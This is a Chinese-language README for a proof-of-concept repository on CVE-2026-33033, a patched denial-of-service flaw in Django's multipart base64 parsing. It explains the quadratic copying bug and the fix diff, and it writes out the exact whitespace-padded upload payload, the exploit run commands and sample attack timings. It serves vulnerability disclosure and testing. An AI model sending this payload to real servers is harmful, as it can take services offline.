通过 base64 空白字符 CPU 放大在 Django MultiPartParser 中实现拒绝服务
单个 2.5 MB 的 HTTP 请求即可占用 Django worker 约 5 秒,相比同大小的正常请求实现了 约 2,100 倍 CPU 放大。无需任何身份验证。
该漏洞已在 Django 6.0.4 安全版本(2026 年 4 月 7 日)中修复,并已向后移植到所有受支持的版本分支。
| 分支 | 受影响 | 已修复 |
|---|
| Django 6.0.x | <= 6.0.3 | 6.0.4 |
| Django 5.2.x | <= 5.2.11 | 5.2.12 |
| Django 5.1.x | <= 5.1.x | 5.1.16 |
| Django 5.0.x | <= 5.0.14 | 5.0.15 |
| Django 4.2.x | <= 4.2.28 | 4.2.29 |
CVE-2026-33033:
MultiPartParser通过 base64 编码文件上传存在潜在拒绝服务漏洞(严重性:中等)当使用
django.http.multipartparser.MultiPartParser时,包含过多空白字符且带有Content-Transfer-Encoding: base64的多部分上传可能会触发重复的内存复制,从而可能导致性能下降。
| CVE | 严重性 | 描述 |
|---|---|---|
| CVE-2026-3902 | 低 | 通过下划线/连字符混淆实现 ASGI 头欺骗 |
| CVE-2026-4277 | 低 | GenericInlineModelAdmin 中的权限滥用 |
| CVE-2026-4292 | 低 | ModelAdmin.list_editable 中的权限滥用 |
| CVE-2026-33034 | 低 | 缺少 Content-Length 导致 ASGI 内存上传限制绕过 |
Django 的 MultiPartParser 有一条专门处理带有 Content-Transfer-Encoding: base64 文件部分的代码路径。在从每个块中去除空白字符后,如果结果未对齐到 4 字节的倍数,一个 while 循环会调用 field_stream.read(1) 来逐字节获取额外数据。
当文件主体几乎全部是空白字符时,每个获取的字节都会被剥离为空,因此循环会继续——对每个空白字节调用一次 read(1)。关键洞察在于,每次 read(1) 的实际开销远高于表面所见:
第 1 层: base64 对齐循环对每个空白字节调用 read(1)
|
第 2 层: LazyStream.read(1) 获取整个剩余数据(约 64 KB),切片出 1 字节,
将约 64 KB - 1 字节放回 --> 每次调用 O(C) 字节复制
|
第 3 层: unget() 执行 self._leftover = bytes + self._leftover
每次创建新的 bytes 对象 --> 约 C 字节的 memcpy
每个 64 KB 块中,复制工作构成一个等差数列:
总计 = (C-1) + (C-2) + ... + 1 = C(C-1)/2 ~ 21.5 亿次字节操作
对于 2.5 MB 输入(约 40 个块):单个 HTTP 请求产生 约 860 亿字节 的 memcpy 工作量。
Django 包含 _update_unget_history(),如果在 50 次操作中相同字节数被放回 40 次以上,则会抛出 SuspiciousMultipartForm。然而,在此攻击中,unget 的大小是 单调递减的(65535、65534、65533、...),因此每个大小都是唯一的,该检查 永远不会触发。
CSRF 中间件在任何视图运行之前访问 request.POST,因此即使返回 403 的端点也会承担完整的解析开销。
CVE-2026-33033-PoC/
├── README.md # 本文件
├── LICENSE
├── requirements.txt # Python 依赖
├── exploit.py # 漏洞利用脚本
└── victim/ # 易受攻击的 Django 服务器
├── manage.py
├── uwsgi.ini # uWSGI 部署配置
└── victim/
├── __init__.py
├── settings.py # Django 默认配置(无需特殊配置)
├── urls.py # /upload 和 /health 端点
└── wsgi.py
git clone https://github.com/ch4n3-yoon/CVE-2026-33033-PoC.git
cd CVE-2026-33033-PoC
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
选项 A:Django 开发服务器(最快)
cd victim
python manage.py runserver 0.0.0.0:8000
选项 B:uWSGI(更真实——使用 4 个 worker)
cd victim
uwsgi --ini uwsgi.ini
在另一个终端中:
source venv/bin/activate
python exploit.py --target http://127.0.0.1:8000/upload
选项:
| 标志 | 默认值 | 描述 |
|---|---|---|
--target | http://127.0.0.1:8000/upload | 目标上传端点 |
--size | 2621440(2.5 MB) | 载荷大小(字节) |
--rounds | 3 | 攻击轮数 |
============================================================
CVE-2026-33033 PoC
通过 base64 空白字符 CPU 放大在 Django MultiPartParser
中实现拒绝服务
============================================================
目标: http://127.0.0.1:8000/upload
载荷大小: 2,621,440 字节(2.5 MB)
轮数: 3
[*] 检查服务器健康状态...
[+] 服务器已启动。
------------------------------------------------------------
[*] 阶段 1:发送良性请求(正常 base64 数据)
------------------------------------------------------------
状态: 200
时间: 5.55 ms
------------------------------------------------------------
[*] 阶段 2:发送恶意请求(base64 + 空白字符)
------------------------------------------------------------
第 1/3 轮:
状态: 200
时间: 4571.12 ms
...
============================================================
结果
============================================================
良性请求: 5.55 ms
攻击平均时间: 4571.12 ms (3 轮)
放大倍数: 823x
[!] 易受攻击:平均攻击时间超过 1 秒。
单个 2.5 MB 请求占用 worker 约 4.6 秒。
使用 4 个 worker 时,仅需 4 个并发请求即可对服务器实施 DoS。
该漏洞利用构造了一个包含单个文件部分的 multipart/form-data POST 请求体:
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----CVE2026-33033
Content-Length: 2621552
------CVE2026-33033
Content-Disposition: form-data; name="file"; filename="poc.bin"
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
AAA<2,621,433 个空格>A
------CVE2026-33033--
AAA 使得 stripped_chunk = b"AAA"(3 字节),因此 remaining = 3 % 4 = 3。field_stream.read(1) 获取 1 个额外字节以进行对齐。b"".join(b" ".split()) == b""),保持 remaining = 3。LazyStream.read(1) 通过 unget 机制在内部复制约 64 KB。django/http/multipartparser.py,第 302-325 行(Django 5.0.x):
for chunk in field_stream:
if transfer_encoding == "base64":
stripped_chunk = b"".join(chunk.split())
remaining = len(stripped_chunk) % 4
while remaining != 0:
over_chunk = field_stream.read(4 - remaining) # <-- read(1)
if not over_chunk:
break
stripped_chunk += b"".join(over_chunk.split()) # 剥离为空
remaining = len(stripped_chunk) % 4 # 保持为 3
修复方案(已在 Django 6.0.4 / 5.2.12 / 5.1.16 / 5.0.15 / 4.2.29 中应用)将逐字节的 read(1) 循环替换为批量 read(self._chunk_size):
- stripped_chunk = b"".join(chunk.split())
+ stripped_parts = [b"".join(chunk.split())]
+ stripped_length = len(stripped_parts[0])
- remaining = len(stripped_chunk) % 4
- while remaining != 0:
- over_chunk = field_stream.read(4 - remaining)
+ while stripped_length % 4 != 0:
+ over_chunk = field_stream.read(self._chunk_size)
if not over_chunk:
break
- stripped_chunk += b"".join(over_chunk.split())
- remaining = len(stripped_chunk) % 4
+ over_stripped = b"".join(over_chunk.split())
+ stripped_parts.append(over_stripped)
+ stripped_length += len(over_stripped)
+
+ stripped_chunk = b"".join(stripped_parts)
关键变更:
read(4 - remaining) → read(self._chunk_size) — 每次读取 64 KB 而非 1-3 字节,将读取调用从约 250 万次减少到约 40 次。stripped_chunk += ... → stripped_parts.append(...) + 最终 b"".join() — 避免潜在的二次方字节拼接。len(stripped_chunk) % 4 → stripped_length 计数器 — 避免冗余的长度重新计算。此概念验证仅用于教育和授权的安全测试目的。请负责任地使用,且仅针对您拥有或获得明确测试许可的系统。
Apache License 2.0 — 参见 LICENSE。